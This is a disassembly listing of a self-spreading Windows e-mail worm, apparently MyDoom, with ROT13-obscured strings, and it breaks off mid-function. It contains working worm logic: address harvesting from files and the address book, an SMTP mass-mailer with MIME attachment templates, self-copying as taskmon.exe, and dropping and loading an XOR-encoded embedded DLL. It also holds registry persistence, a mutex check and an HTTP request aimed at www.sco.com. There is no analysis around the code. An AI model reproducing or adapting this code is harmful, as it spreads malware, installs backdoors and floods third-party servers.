- a_edu db '.edu',0 ; DATA XREF: sub_4A5788+BAo
- align 4
- a@: ; DATA XREF: sub_4A586A+A2o
- unicode 0, <@>,0
- byte_4A2B00 db 20h ; DATA XREF: sub_4A5CE7+15r
- db ' ',0
- dd 0Eh dup(0), 280000h, 29h, 27h dup(0), 2200000h, 0BC000000h
- db 2Dh, 4Ah, 0
- dd 1, 4A2DB8h, 2, 4A2DB4h, 1, 4A2AFCh, 2, 4A2DB0h, 1, 4A2AFCh
- ; DATA XREF: sub_4A5CE7+38o
- dd 2, 4A2DACh, 1, 4A2AFCh, 3, 4A2DA8h, 1, 4A2AFCh, 4, 4A2DA0h
- dd 1, 4A2AFCh, 6, 4A2D98h, 1, 4A2DB8h, 5, 4A2D90h, 1, 4A2DB8h
- dd 4 dup(0)
- byte_4A2C90 db 0 ; DATA XREF: sub_4A5DD4+39r
- ; sub_4A5DD4+52r ...
- dd 8 dup(0), 2, 2 dup(0), 1000202h, 2 dup(1010101h), 1
- dd 2000000h, 6 dup(1010101h), 101h, 20000h, 6 dup(1010101h)
- dd 101h, 20h dup(0), 26000000h, 7073626Eh, 26000000h, 7073626Eh
- dd 2800003Bh, 297461h, 28000000h, 40002940h, 20000040h
- dd 40000040h
- db 20h, 2 dup(0)
- dword_4A2DB8 dd 20h, 2020h ; DATA XREF: sub_4A6FCD+1FBo
- aFbsgjnerZvpe_1 db 'Fbsgjner\Zvpebfbsg\JNO\JNO4\Jno Svyr Anzr',0 ; DATA XREF: sub_4A60A5+Do
- align 4
- aWab db 'wab',0 ; DATA XREF: sub_4A6147+164o
- aPl db 'pl',0 ; DATA XREF: sub_4A6147+154o
- align 4
- aAdbh db 'adbh',0 ; DATA XREF: sub_4A6147+13Fo
- align 4
- aTbbg db 'tbbg',0 ; DATA XREF: sub_4A6147+120o
- align 4
- aDbxn db 'dbxn',0 ; DATA XREF: sub_4A6147+10Ao
- align 4
- aAspd db 'aspd',0 ; DATA XREF: sub_4A6147+F4o
- align 4
- aPhpq db 'phpq',0 ; DATA XREF: sub_4A6147+DAo
- align 4
- aShtl db 'shtl',0 ; DATA XREF: sub_4A6147+C0o
- align 4
- aHtmb db 'htmb',0 ; DATA XREF: sub_4A6147+A6o
- align 4
- aTxt db 'txt',0 ; DATA XREF: sub_4A6147+80o
- ; sub_4A6FCD+1D9o
- a_ db '*.*',0 ; DATA XREF: sub_4A630C+7Bo
- aUserprofile db 'USERPROFILE',0 ; DATA XREF: sub_4A64A8+6Ao
- aYbpnyFrggvatf db 'Ybpny Frggvatf',0 ; DATA XREF: sub_4A64A8+20o
- align 4
- aGrzcbenelVagre db 'Grzcbenel Vagrearg Svyrf',0 ; DATA XREF: sub_4A64A8+12o
- align 4
- asc_4A2E6C db ':\',0 ; DATA XREF: sub_4A6599+3Co
- align 4
- dword_4A2E70 dd 0 ; DATA XREF: sub_4A6670+41r
- ; sub_4A6670+54r ...
- dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
- dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
- dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
- dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
- dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
- dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
- dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
- dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
- dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
- dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
- dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
- dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
- dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
- dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
- dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
- dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
- dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
- dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
- dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
- dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
- dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
- dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
- dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
- dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
- dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
- dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
- dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
- dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
- dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
- dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
- dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
- dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
- dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
- dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
- dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
- dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
- dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
- dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
- dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
- dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
- dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
- dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
- dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
- dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
- dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
- dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
- dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
- dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
- dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
- dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
- dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
- aTrgUggc1_1Ubfg db 'TRG / UGGC/1.1',0Dh,0Ah ; DATA XREF: sub_4A6BB4+11o
- db 'Ubfg: jjj.fpb.pbz',0Dh,0Ah
- db 0Dh,0Ah,0
- align 4
- aJjj_fpb_pbz db 'jjj.fpb.pbz',0 ; DATA XREF: sub_4A6C3B+12o
- align 8
- byte_4A32A8 db 1Eh ; DATA XREF: sub_4A6D9F+5Eo
- ; sub_4A6D9F+98r
- align 4
- dword_4A32AC dd 4A3428h ; DATA XREF: sub_4A6D9F+A4r
- byte_4A32B0 db 0Fh ; DATA XREF: sub_4A6D9F+8Cr
- align 4
- dd offset aErnqzr ; "ernqzr"
- dd 0Fh, 4A341Ch, 0Fh, 4A3414h, 0Ah, 4A340Ch, 0Ah, 4A3404h
- dd 5, 4A33FCh, 11h, 4A33F4h, 11h, 4A33ECh, 0, 4A33E8h
- byte_4A32F8 db 32h ; DATA XREF: sub_4A6D9F+BEo
- ; sub_4A6D9F+F8r
- align 4
- dword_4A32FC dd 4A33E4h ; DATA XREF: sub_4A6D9F+104r
- byte_4A3300 db 32h ; DATA XREF: sub_4A6D9F+ECr
- align 4
- dd offset dword_4A33E0
- dd 0Fh, 4A33DCh, 5, 4A33D8h, 5, 4A33D4h, 0, 4A33E8h
- byte_4A3328 db 0Ch ; DATA XREF: sub_4A6ED6+5Eo
- ; sub_4A6ED6+98r
- align 4
- dword_4A332C dd 4A33E8h ; DATA XREF: sub_4A6ED6+A4r
- byte_4A3330 db 23h ; DATA XREF: sub_4A6ED6+8Cr
- dd 0FC000000h, 23004A33h, 0D0000000h, 23004A33h, 0C8000000h
- dd 8004A33h, 0B0000000h, 8004A33h, 98000000h, 8004A33h
- dd 88000000h, 0A004A33h, 80000000h, 0A004A33h, 78000000h
- dd 4A33h, 0E8000000h, 52004A33h, 65626565h, 46000000h
- dd 68676E67h, 46000066h, 72696572h, 72452065h, 67656263h
- dd 5A000000h, 2079766Eh, 616E6547h, 67706E66h, 20616276h
- dd 79766E53h, 5A007172h, 2079766Eh, 76797251h, 6C657269h
- dd 666C4620h, 7A7267h, 75000000h, 62797972h, 75000000h
- dd 6F000076h, 7000676Eh, 7200717Ah
- db 6Bh, 72h, 0
- dword_4A33E0 dd 657066h, 737663h ; DATA XREF: .text:004A3304o
- dword_4A33E8 dd 0, 6C71626Fh, 0, 6666727Ah, 72746Eh, 67667267h, 0, 6E676E71h
- ; DATA XREF: sub_4A7255+Fo
- dd 0, 72797673h, 0, 676B7267h, 0, 706271h
- aErnqzr db 'ernqzr',0 ; DATA XREF: .text:004A32B4o
- align 4
- aQbphzrag db 'qbphzrag',0
- align 4
- aUbgznvy_pbz db 'ubgznvy.pbz',0 ; DATA XREF: .text:004A13F8o
- aLnubb_pbz db 'lnubb.pbz',0 ; DATA XREF: .text:004A13F4o
- align 4
- aZfa_pbz db 'zfa.pbz',0 ; DATA XREF: .text:004A13F0o
- aNby_pbz db 'nby.pbz',0
- aS_S db '%s.%s',0 ; DATA XREF: sub_4A6D9F+125o
- align 4
- aXe db 'xe',0 ; DATA XREF: sub_4A6FCD+257o
- align 4
- aCr db 'cr',0 ; DATA XREF: sub_4A6FCD+248o
- align 4
- aS_0: ; DATA XREF: sub_4A6FCD+240o
- unicode 0, <s>,0
- aIf db 'if',0 ; DATA XREF: sub_4A6FCD+239o
- align 4
- aP: ; DATA XREF: sub_4A6FCD+231o
- unicode 0, <p>,0
- aDoc db 'doc',0 ; DATA XREF: sub_4A6FCD+1E0o
- aHtm db 'htm',0 ; DATA XREF: sub_4A6FCD+1D2o
- aS_zip db '%s.zip',0 ; DATA XREF: sub_4A6FCD+11Bo
- align 4
- ; const CHAR PrefixString
- PrefixString db 't' ; DATA XREF: sub_4A6FCD+9Bo
- db 6Dh, 70h, 0
- aMailTransactio db 'Mail transaction failed. Partial message is available.',0
- ; DATA XREF: sub_4A7255+42o
- align 8
- aTheMessageCont db 'The message contains Unicode characters and has been sent as'
- ; DATA XREF: sub_4A7255+38o
- db ' a binary attachment.',0
- align 8
- aTheMessageCann db 'The message cannot be represented in 7-bit ASCII encoding an'
- ; DATA XREF: sub_4A7255+2Eo
- db 'd has been sent as a binary attachment.',0
- aTest db 'test',0 ; DATA XREF: sub_4A7255+24o
- align 8
- aAbcdefghijkl_1 db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567'
- ; DATA XREF: sub_4A7366+Ao
- db '89+/',0
- align 4
- asc_4A35D4 db 0Dh,0Ah ; DATA XREF: sub_4A74DD+112o
- db 0Dh,0Ah,0
- align 4
- aKZfznvyCevbevg db 0Dh,0Ah ; DATA XREF: sub_4A74DD+100o
- db 'K-ZFZnvy-Cevbevgl: Abezny',0
- aKCevbevgl3 db 0Dh,0Ah ; DATA XREF: sub_4A74DD+EEo
- db 'K-Cevbevgl: 3',0
- aBoundaryS db 9,'boundary="%s"',0 ; DATA XREF: sub_4A74DD+E0o
- align 4
- aPbagragGlcrZhy db 0Dh,0Ah ; DATA XREF: sub_4A74DD+CCo
- db 'Pbagrag-Glcr: zhygvcneg/zvkrq;',0Dh,0Ah,0
- align 4
- aZvzrIrefvba1_0 db 0Dh,0Ah ; DATA XREF: sub_4A74DD+BAo
- db 'ZVZR-Irefvba: 1.0',0
- aQngr db 0Dh,0Ah ; DATA XREF: sub_4A74DD+99o
- db 'Qngr: ',0
- align 4
- aFhowrpg db 0Dh,0Ah ; DATA XREF: sub_4A74DD+7Do
- db 'Fhowrpg: ',0
- aGb db 0Dh,0Ah ; DATA XREF: sub_4A74DD+66o
- db 'Gb: ',0
- align 4
- aSebz db 'Sebz: ',0 ; DATA XREF: sub_4A74DD+45o
- align 4
- a_S__3u__4u__8x db '----=_%s_%.3u_%.4u_%.8X.%.8X',0 ; DATA XREF: sub_4A74DD+39o
- align 4
- aNextpart db 'NextPart',0 ; DATA XREF: sub_4A74DD+34o
- align 4
- aS db 0Dh,0Ah ; DATA XREF: sub_4A75FD+C0o
- db 0Dh,0Ah
- db '--%s--',0Dh,0Ah
- db 0Dh,0Ah,0
- align 8
- aFPbagragGlcrNc db '--%f',0Dh,0Ah ; DATA XREF: sub_4A75FD+76o
- db 'Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz;',0Dh,0Ah
- db 9,'anzr="%f"',0Dh,0Ah
- db 'Pbagrag-Genafsre-Rapbqvat: onfr64',0Dh,0Ah
- db 'Pbagrag-Qvfcbfvgvba: nggnpuzrag;',0Dh,0Ah
- db 9,'svyranzr="%f"',0Dh,0Ah
- db 0Dh,0Ah,0
- align 4
- asc_4A374C db 0Dh,0Ah ; DATA XREF: sub_4A75FD+62o
- db 0Dh,0Ah
- db 0Dh,0Ah,0
- align 8
- aFPbagragGlcrGr db '--%f',0Dh,0Ah ; DATA XREF: sub_4A75FD+31o
- db 'Pbagrag-Glcr: grkg/cynva;',0Dh,0Ah
- db 9,'punefrg="Jvaqbjf-1252"',0Dh,0Ah
- db 'Pbagrag-Genafsre-Rapbqvat: 7ovg',0Dh,0Ah
- db 0Dh,0Ah,0
- align 4
- aGuvfVfNZhygvCn db 'Guvf vf n zhygv-cneg zrffntr va ZVZR sbezng.',0Dh,0Ah
- ; DATA XREF: sub_4A75FD+1Bo
- db 0Dh,0Ah,0
- align 4
- aQuit db 'QUIT',0Dh,0Ah,0 ; DATA XREF: sub_4A7B47+286o
- align 4
- a__0 db 0Dh,0Ah ; DATA XREF: sub_4A7B47+25Fo
- db '.',0Dh,0Ah,0
- align 4
- aData db 'DATA',0Dh,0Ah,0 ; DATA XREF: sub_4A7B47+1D9o
- align 4
- aEpcgGbF db 'EPCG GB:<%f>',0Dh,0Ah,0 ; DATA XREF: sub_4A7B47+1A3o
- align 4
- aZnvySebzF db 'ZNVY SEBZ:<%f>',0Dh,0Ah,0 ; DATA XREF: sub_4A7B47+167o
- align 4
- aUrybF db 'URYB %f',0Dh,0Ah,0 ; DATA XREF: sub_4A7B47+12Bo
- align 4
- aRuybF db 'RUYB %f',0Dh,0Ah,0 ; DATA XREF: sub_4A7B47+F2o
- align 4
- aTo db 'To',0 ; DATA XREF: sub_4A7B47+36o
- ; sub_4A7F4C+1Co
- align 4
- aFrom db 'From',0 ; DATA XREF: sub_4A7B47+1Ao
- align 4
- aFzgcFreire db 'FZGC Freire',0 ; DATA XREF: sub_4A7DFD+21o
- aFbsgjnerZvpe_2 db 'Fbsgjner\Zvpebfbsg\Vagrearg Nppbhag Znantre\Nppbhagf',0
- ; DATA XREF: sub_4A7DFD+10o
- align 4
- aGate_S db 'gate.%s',0 ; DATA XREF: sub_4A7F4C+154o
- aNs_S db 'ns.%s',0 ; DATA XREF: sub_4A7F4C+146o
- align 4
- aRelay_S db 'relay.%s',0 ; DATA XREF: sub_4A7F4C+138o
- align 4
- aMail1_S db 'mail1.%s',0 ; DATA XREF: sub_4A7F4C+12Ao
- align 4
- aMxs_S db 'mxs.%s',0 ; DATA XREF: sub_4A7F4C+11Co
- align 4
- aMx1_S db 'mx1.%s',0 ; DATA XREF: sub_4A7F4C+10Eo
- align 4
- aSmtp_S db 'smtp.%s',0 ; DATA XREF: sub_4A7F4C+100o
- aMail_S db 'mail.%s',0 ; DATA XREF: sub_4A7F4C+F2o
- aMx_S db 'mx.%s',0 ; DATA XREF: sub_4A7F4C+E4o
- align 4
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- ; int __cdecl sub_4A38E0(int,int,HANDLE hFile)
- sub_4A38E0 proc near ; CODE XREF: sub_4A3962+E9p
-
- var_40A = byte ptr -40Ah
- Buffer = byte ptr -408h
- NumberOfBytesWritten= dword ptr -8
- var_1 = byte ptr -1
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
- hFile = dword ptr 10h
-
- push ebp
- mov ebp, esp
- sub esp, 408h
- push esi
- xor ecx, ecx
- xor esi, esi
- cmp [ebp+arg_4], ecx
- mov [ebp+var_1], 0C7h
- jle short loc_4A395F
- push edi
- mov edi, ds:WriteFile
- push ebx
-
- loc_4A38FF: ; CODE XREF: sub_4A38E0+64j
- cmp ecx, 400h
- jb short loc_4A391C
- lea eax, [ebp+NumberOfBytesWritten]
- push 0 ; lpOverlapped
- push eax ; lpNumberOfBytesWritten
- lea eax, [ebp+Buffer]
- push ecx ; nNumberOfBytesToWrite
- push eax ; lpBuffer
- push [ebp+hFile] ; hFile
- call edi ; WriteFile
- xor ecx, ecx
-
- loc_4A391C: ; CODE XREF: sub_4A38E0+25j
- mov eax, [ebp+arg_0]
- mov ebx, 85h
- mov al, [esi+eax]
- xor al, [ebp+var_1]
- inc ecx
- mov [ebp+ecx-409h], al
- mov eax, esi
- cdq
- idiv ebx
- mov al, dl
- mov dl, 3
- imul dl
- add [ebp+var_1], al
- inc esi
- cmp esi, [ebp+arg_4]
- jl short loc_4A38FF
- test ecx, ecx
- pop ebx
- jz short loc_4A395E
- lea eax, [ebp+NumberOfBytesWritten]
- push 0 ; lpOverlapped
- push eax ; lpNumberOfBytesWritten
- lea eax, [ebp+Buffer]
- push ecx ; nNumberOfBytesToWrite
- push eax ; lpBuffer
- push [ebp+hFile] ; hFile
- call edi ; WriteFile
-
- loc_4A395E: ; CODE XREF: sub_4A38E0+69j
- pop edi
-
- loc_4A395F: ; CODE XREF: sub_4A38E0+15j
- pop esi
- leave
- retn
- sub_4A38E0 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A3962 proc near ; CODE XREF: main+45p
-
- FileName = byte ptr -12Ch
- String2 = byte ptr -14h
- arg_0 = dword ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 12Ch
- push ebx
- push esi
- push edi
- lea eax, [ebp+String2]
- push offset dword_4A244C
- push eax
- call sub_4A465E
- mov esi, [ebp+arg_0]
- mov ebx, ds:lstrcatA
- pop ecx
- xor edi, edi
- pop ecx
- mov [esi+10Ch], edi
- mov [ebp+arg_0], edi
-
- loc_4A3992: ; CODE XREF: sub_4A3962+D6j
- cmp [ebp+arg_0], edi
- lea eax, [ebp+FileName]
- jnz short loc_4A39AB
- push 118h ; uSize
- push eax ; lpBuffer
- call ds:GetSystemDirectoryA
- jmp short loc_4A39B7
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A39AB: ; CODE XREF: sub_4A3962+39j
- push eax ; lpBuffer
- push 118h ; nBufferLength
- call ds:GetTempPathA
-
- loc_4A39B7: ; CODE XREF: sub_4A3962+47j
- cmp [ebp+FileName], 0
- jz short loc_4A3A31
- lea eax, [ebp+FileName]
- push eax ; lpString
- call ds:lstrlenA
- lea ecx, [ebp+FileName]
- dec ecx
- cmp byte ptr [eax+ecx], 5Ch
- jz short loc_4A39E8
- lea eax, [ebp+FileName]
- push offset String2 ; lpString2
- push eax ; lpString1
- call ebx ; lstrcatA
-
- loc_4A39E8: ; CODE XREF: sub_4A3962+76j
- lea eax, [ebp+String2]
- push eax ; lpString2
- lea eax, [ebp+FileName]
- push eax ; lpString1
- call ebx ; lstrcatA
- push edi ; hTemplateFile
- push 80h ; dwFlagsAndAttributes
- push 2 ; dwCreationDisposition
- push edi ; lpSecurityAttributes
- push 3 ; dwShareMode
- lea eax, [ebp+FileName]
- push 40000000h ; dwDesiredAccess
- push eax ; lpFileName
- call ds:CreateFileA
- mov edi, eax
- test edi, edi
- jz short loc_4A3A1D
- cmp edi, 0FFFFFFFFh
- jnz short loc_4A3A40
-
- loc_4A3A1D: ; CODE XREF: sub_4A3962+B4j
- lea eax, [ebp+FileName]
- push eax ; lpFileName
- call ds:GetFileAttributesA
- cmp eax, 0FFFFFFFFh
- jnz short loc_4A3A66
- xor edi, edi
-
- loc_4A3A31: ; CODE XREF: sub_4A3962+5Cj
- inc [ebp+arg_0]
- cmp [ebp+arg_0], 2
- jl loc_4A3992
- jmp short loc_4A3A81
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A3A40: ; CODE XREF: sub_4A3962+B9j
- push edi ; hFile
- push 1000h ; int
- push offset dword_4A1400 ; int
- call sub_4A38E0
- add esp, 0Ch
- push edi ; hObject
- call ds:CloseHandle
- mov dword ptr [esi+10Ch], 1
- jmp short loc_4A3A70
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A3A66: ; CODE XREF: sub_4A3962+CBj
- mov dword ptr [esi+10Ch], 2
-
- loc_4A3A70: ; CODE XREF: sub_4A3962+102j
- lea eax, [ebp+FileName]
- push eax ; lpString2
- lea eax, [esi+8]
- push eax ; lpString1
- call ds:lstrcpyA
-
- loc_4A3A81: ; CODE XREF: sub_4A3962+DCj
- cmp dword ptr [esi+10Ch], 1
- jnz short loc_4A3A9E
- lea eax, [esi+8]
- push eax ; lpLibFileName
- call ds:LoadLibraryA
- mov dword ptr [esi+10Ch], 2
-
- loc_4A3A9E: ; CODE XREF: sub_4A3962+126j
- pop edi
- pop esi
- pop ebx
- leave
- retn
- sub_4A3962 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
-
- sub_4A3AA3 proc near ; CODE XREF: main+14p
-
- var_74 = byte ptr -74h
-
- push ebp
- lea ebp, [esp+var_74]
- sub esp, 88h
- push ebx
- push esi
- push edi
- lea eax, [ebp-14h]
- push offset aFbsgjnerZvpebf ; "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefv"...
- push eax
- call sub_4A465E
- mov edi, [ebp+7Ch]
- pop ecx
- xor ebx, ebx
- pop ecx
- mov [edi], ebx
- mov [ebp+7Fh], bl
- mov esi, 80000002h
-
- loc_4A3AD0: ; CODE XREF: sub_4A3AA3+56j
- lea eax, [ebp+70h]
- push eax ; phkResult
- push 20019h ; samDesired
- lea eax, [ebp-14h]
- push ebx ; ulOptions
- push eax ; lpSubKey
- mov al, [ebp+7Fh]
- neg al
- sbb eax, eax
- add eax, esi
- push eax ; hKey
- call ds:RegOpenKeyExA
- test eax, eax
- jz short loc_4A3B47
- inc byte ptr [ebp+7Fh]
- cmp byte ptr [ebp+7Fh], 2
- jl short loc_4A3AD0
- mov dword ptr [edi], 1
- mov [ebp+7Fh], bl
-
- loc_4A3B04: ; CODE XREF: sub_4A3AA3+9Aj
- lea eax, [ebp+6Ch]
- push eax ; lpdwDisposition
- lea eax, [ebp+70h]
- push eax ; phkResult
- push ebx ; lpSecurityAttributes
- push 20006h ; samDesired
- push ebx ; dwOptions
- push ebx ; lpClass
- lea eax, [ebp-14h]
- push ebx ; Reserved
- push eax ; lpSubKey
- mov al, [ebp+7Fh]
- neg al
- sbb eax, eax
- add eax, esi
- push eax ; hKey
- call ds:RegCreateKeyExA
- test eax, eax
- jnz short loc_4A3B36
- push dword ptr [ebp+70h]
- call ds:RegCloseKey
-
- loc_4A3B36: ; CODE XREF: sub_4A3AA3+88j
- inc byte ptr [ebp+7Fh]
- cmp byte ptr [ebp+7Fh], 2
- jl short loc_4A3B04
-
- loc_4A3B3F: ; CODE XREF: sub_4A3AA3+ADj
- pop edi
- pop esi
- pop ebx
- add ebp, 74h
- leave
- retn
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A3B47: ; CODE XREF: sub_4A3AA3+4Dj
- push dword ptr [ebp+70h]
- call ds:RegCloseKey
- jmp short loc_4A3B3F
- sub_4A3AA3 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A3B52 proc near ; CODE XREF: main+27p
-
- Name = byte ptr -40h
-
- push ebp
- mov ebp, esp
- sub esp, 40h
- lea eax, [ebp+Name]
- push offset aFjrofvcpfzgkf0 ; "FjroFvcpFzgkF0"
- push eax
- call sub_4A465E
- pop ecx
- lea eax, [ebp+Name]
- pop ecx
- push eax ; lpName
- push 1 ; bInitialOwner
- push 0 ; lpMutexAttributes
- call ds:CreateMutexA
- call ds:GetLastError
- sub eax, 0B7h
- neg eax
- sbb eax, eax
- inc eax
- leave
- retn
- sub_4A3B52 endp
-
-
- ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
-
- ; Attributes: bp-based frame
-
- sub_4A3B88 proc near ; CODE XREF: main+57p
-
- ExistingFileName= byte ptr -234h
- String2 = byte ptr -130h
- var_18 = byte ptr -18h
- lpString1 = dword ptr -4
- arg_0 = dword ptr 8
-
- push ebp
- mov ebp, esp
- sub esp, 234h
- push ebx
- push esi
- push edi
- lea eax, [ebp+var_18]
- push offset aGnfxzba_rkr ; "gnfxzba.rkr"
- push eax
- call sub_4A465E
- pop ecx
- lea eax, [ebp+ExistingFileName]
- pop ecx
- xor ebx, ebx
- push 104h ; nSize
- push eax ; lpFilename
- push ebx ; hModule
- call ds:GetModuleFileNameA
- mov eax, [ebp+arg_0]
- mov edi, ds:lstrcpyA
- lea ecx, [ebp+ExistingFileName]
- add eax, 110h
- push ecx ; lpString2
- push eax ; lpString1
- mov [ebp+lpString1], eax
- call edi ; lstrcpyA
- mov esi, ds:lstrcatA
- mov [ebp+arg_0], ebx
-
- loc_4A3BDD: ; CODE XREF: sub_4A3B88+136j
- cmp [ebp+arg_0], ebx
- lea eax, [ebp+String2]
- jnz short loc_4A3BF6
- push 118h ; uSize
- push eax ; lpBuffer
- call ds:GetSystemDirectoryA
- jmp short loc_4A3C02
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A3BF6: ; CODE XREF: sub_4A3B88+5Ej
- push eax ; lpBuffer
- push 118h ; nBufferLength
- call ds:GetTempPathA
-
- loc_4A3C02: ; CODE XREF: sub_4A3B88+6Cj
- cmp [ebp+String2], bl
- jz loc_4A3CB7
- lea eax, [ebp+String2]
- push eax ; lpString
- call ds:lstrlenA
- lea ecx, [ebp+String2]
- dec ecx
- cmp byte ptr [eax+ecx], 5Ch
- jz short loc_4A3C36
- lea eax, [ebp+String2]
- push offset String2 ; lpString2
- push eax ; lpString1
- call esi ; lstrcatA
-
- loc_4A3C36: ; CODE XREF: sub_4A3B88+9Ej
- lea eax, [ebp+var_18]
- push eax ; lpString2
- lea eax, [ebp+String2]
- push eax ; lpString1
- call esi ; lstrcatA
- lea eax, [ebp+String2]
- push 20h ; dwFileAttributes
- push eax ; lpFileName
- call ds:SetFileAttributesA
- push ebx ; hTemplateFile
- push 80h ; dwFlagsAndAttributes
- push 2 ; dwCreationDisposition
- push ebx ; lpSecurityAttributes
- push 3 ; dwShareMode
- lea eax, [ebp+String2]
- push 40000000h ; dwDesiredAccess
- push eax ; lpFileName
- call ds:CreateFileA
- cmp eax, ebx
- jz short loc_4A3CA5
- cmp eax, 0FFFFFFFFh
- jz short loc_4A3CA5
- push eax ; hObject
- call ds:CloseHandle
- lea eax, [ebp+String2]
- push eax ; lpFileName
- call ds:DeleteFileA
- lea eax, [ebp+String2]
- push ebx ; bFailIfExists
- push eax ; lpNewFileName
- lea eax, [ebp+ExistingFileName]
- push eax ; lpExistingFileName
- call ds:CopyFileA
- test eax, eax
- jmp short loc_4A3CB5
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A3CA5: ; CODE XREF: sub_4A3B88+E9j
- ; sub_4A3B88+EEj
- lea eax, [ebp+String2]
- push eax ; lpFileName
- call ds:GetFileAttributesA
- cmp eax, 0FFFFFFFFh
-
- loc_4A3CB5: ; CODE XREF: sub_4A3B88+11Bj
- jnz short loc_4A3CC6
-
- loc_4A3CB7: ; CODE XREF: sub_4A3B88+80j
- inc [ebp+arg_0]
- cmp [ebp+arg_0], 2
- jl loc_4A3BDD
- jmp short loc_4A3CD2
- ; ───────────────────────────────────────────────────────────────────────────
-
- loc_4A3CC6: ; CODE XREF: sub_4A3B88+12Dj
- lea eax, [ebp+String2]
- push eax ; lpString2
- push [ebp+lpString1] ; lpString1
